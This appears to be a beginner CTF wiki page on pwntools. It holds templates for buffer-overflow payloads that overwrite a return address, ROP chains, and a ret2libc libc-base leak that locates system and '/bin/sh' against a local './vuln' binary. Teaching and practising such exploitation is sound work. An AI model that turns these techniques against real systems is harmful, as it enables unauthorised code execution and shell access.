Athena Wiki

Pwntools

toolsbeginner

Master pwntools for CTF exploit development - process interaction, ROP chains, shellcode, and format strings.

toolspwntoolspwnexploitropshellcodeformat-string

Pwntools

Pwntools is the standard Python framework for CTF exploit development. It wraps socket connections, binary interaction, packing, ROP chain building, and shellcode generation into a clean API.

Workflow Overview

Mermaid diagram

Installation

pip3 install pwntools

Connecting to a Target

from pwn import *

p = process('./vuln')
p.sendline(b'hello')
response = p.recvline()
print(response)
p.interactive()

Exploit Template

Set up context

from pwn import *

context.binary = elf = ELF('./vuln')
context.arch = 'amd64'    # auto-set from binary
context.log_level = 'info'

libc = ELF('./libc.so.6')  # if needed

Find the offset

# Generate cyclic pattern and crash the binary
# pattern create 200 in GDB → send as input → pattern search $rsp
OFFSET = 72   # from GEF pattern search

Build the payload

payload  = b'A' * OFFSET
payload += p64(elf.sym['win'])        # overwrite return address

# Or for ROP:
rop = ROP(elf)
rop.call('puts', [elf.got['puts']])
rop.call('main')
payload += rop.chain()

Send and receive

p = process('./vuln')   # or remote(...)
p.recvuntil(b'input: ')
p.sendline(payload)
p.interactive()

Calculate libc base (ret2libc)

# After leak:
leak = u64(p.recvline().strip().ljust(8, b'\x00'))
libc.address = leak - libc.sym['puts']
log.success(f'libc base: {hex(libc.address)}')

# Now use libc symbols directly:
system   = libc.sym['system']
bin_sh   = next(libc.search(b'/bin/sh'))

Command Reference

Checklist

  • context.binary = ELF('./vuln') - auto-sets arch
  • checksec in GDB or checksec --file vuln - check protections
  • cyclic(200) + cyclic_find() - find offset
  • elf.got['func'] / elf.plt['func'] - leak addresses
  • ROP(elf).chain() - build ROP payload
  • libc.address = leak - libc.sym['func'] - set libc base
  • p.interactive() - drop to shell

Last updated on

On this page